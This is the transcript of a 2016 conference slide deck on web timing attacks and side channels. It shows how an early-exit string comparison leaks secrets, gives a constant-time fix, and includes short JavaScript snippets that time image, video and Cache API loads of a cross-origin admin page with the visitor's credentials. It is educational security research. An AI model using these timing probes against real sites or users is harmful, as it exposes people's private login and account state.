Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

In security-sensitive situations, performance can actually be a bug rather than a feature. This presentation covers timing attacks on the web, and demonstrates how modern performance-related web APIs can sometimes have a negative security impact.

More information: https://dev.opera.com/blog/timing-attacks/

Mathias Bynens

April 01, 2016
Tweet

More Decks by Mathias Bynens

Other Decks in Technology

Transcript

  1. @mathias
    THE DARK SIDE
    FRONT-END PERFORMANCE

    View Slide

  2. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('Spring', 'Zpring');
    // → false @ 200 μs

    View Slide

  3. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View Slide

  4. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View Slide

  5. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    }
    }
    return true; // worst-case perf scenario
    }

    View Slide

  6. @mathias
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs [opt. #2]
    compare('Spring', 'Thing');
    // → false @ 100 μs [opt. #1]
    compare('CSS', 'XSS');
    // → false @ 200 μs [opt. #2]

    View Slide

  7. @mathias
    SIDE-CHANNEL LEAK

    View Slide

  8. @mathias
    TIMING ATTACK

    View Slide

  9. @mathias
    compare($userInput, $secret);

    View Slide

  10. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    // allows attackers to figure out expected length
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    // allows attackers to figure out expected
    // characters, one by one (except the last one)
    }
    }
    return true; // worst-case perf scenario
    }

    View Slide

  11. @mathias
    function safeCompare(a, b) {
    const lengthA = a.length;
    let result = 0;
    if (lengthA !== b.length) {
    b = a;
    result = 1;
    }
    for (let index = 0; index < lengthA; index++) {
    result |= (
    a.charCodeAt(index) ^ b.charCodeAt(index)
    ); // XOR
    }
    return result === 0;
    }

    View Slide

  12. @mathias
    const image = new Image();
    image.onerror = stopTimer;
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    startTimer();
    image.src = 'https://example.com/admin.php';

    View Slide

  13. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View Slide

  14. @mathias

    View Slide

  15. @mathias
    750 ms

    View Slide

  16. @mathias

    View Slide

  17. @mathias
    1250 ms

    View Slide

  18. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View Slide

  19. @mathias
    MODERN TIMING ATTACKS

    View Slide

  20. @mathias
    SNIFFLY
    OMG @BCRYPT R0CKX!!1

    View Slide

  21. @mathias

    View Slide

  22. @mathias
    VIDEO PARSING ⏱ ATTACK
    @TOMVANGOETHEM

    View Slide

  23. @mathias
    const video = document.createElement('video');
    // `suspend` event == download complete
    video.onsuspend = startTimer;
    // `error` event == parsing complete
    video.onerror = stopTimer;
    video.src = 'https://example.com/admin.php';

    View Slide

  24. @mathias
    CACHE STORAGE ⏱ ATTACK
    @TOMVANGOETHEM

    View Slide

  25. @mathias
    const url = 'https://example.com/admin.php';
    const dummyRequest = new Request('dummy');
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function(response) {
    // The download has completed.
    startTimer();
    return cache.put(dummyRequest, response.clone());
    }).then(function() {
    // The resource has been stored in the cache.
    stopTimer();
    });

    View Slide

  26. @mathias

    View Slide

  27. @mathias

    View Slide

  28. @mathias

    View Slide

  29. @mathias
    30 ms

    View Slide

  30. @mathias

    View Slide

  31. @mathias
    15 ms

    View Slide

  32. @mathias

    View Slide

  33. @mathias

    View Slide

  34. @mathias

    View Slide

  35. @mathias
    "

    View Slide

  36. @mathias
    THANKS!
    Sniffly by @bcrypt: https://mths.be/buy
    Research by @tomvangoethem: https://mths.be/buz
    Bonus — examples by @sirdarckcat: https://mths.be/bva

    View Slide